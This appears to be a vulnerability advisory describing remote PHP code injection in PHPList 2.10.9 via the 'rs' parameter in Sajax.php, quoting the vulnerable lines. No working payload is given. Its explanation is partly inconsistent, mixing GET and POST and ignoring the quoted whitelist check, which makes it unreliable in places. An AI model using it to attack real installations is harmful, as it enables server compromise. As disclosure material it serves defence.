  PHPList is prone to a remote PHP code-injection vulnerability.
  
  An attacker can exploit this issue to inject and execute arbitrary PHP code in the context of the affected application. This may facilitate a compromise of the application and the underlying system; other attacks are also possible.
  
  PHPList 2.10.9 is vulnerable; other versions may also be affected.

  # --------------------------------------- #
  # 2) Bug :
  # An attacker might execute arbitrary PHP code with this vulnerability.
  # User tainted data is embedded into a function that compiles
  # PHP code on the run and #executes it thus allowing an attacker to inject
  own PHP code that will be
  # executed. This vulnerability can lead to full server compromise.
  # Look To The File Named (Sajax.php) In Dir (admin/commonlib/lib) On Line
  (63)
  # 63. $func_name = $_POST["rs"];
  # if (! empty($_POST["rsargs"]))
  # $args = $_POST["rsargs"];
  # else
  # $args = array();
  # }
  #
  # if (! in_array($func_name, $sajax_export_list))
  # echo "-:$func_name not callable";
  # else {
  # echo "+:";
  # 74.$result = call_user_func_array($func_name, $args);
  # echo $result;
  # }
  # exit;
  # }
  # So We Have Variable Func Name With Post rs :)
  # In Above Of Code We Have $_GET['rs']; So This Is An Attacker Wan't It.
  # Look To Line (74).
  # Call_User_Func_Array($func_name, $args);
  # Attacker Can Inject In Get Paramater Or POST PHP Code.
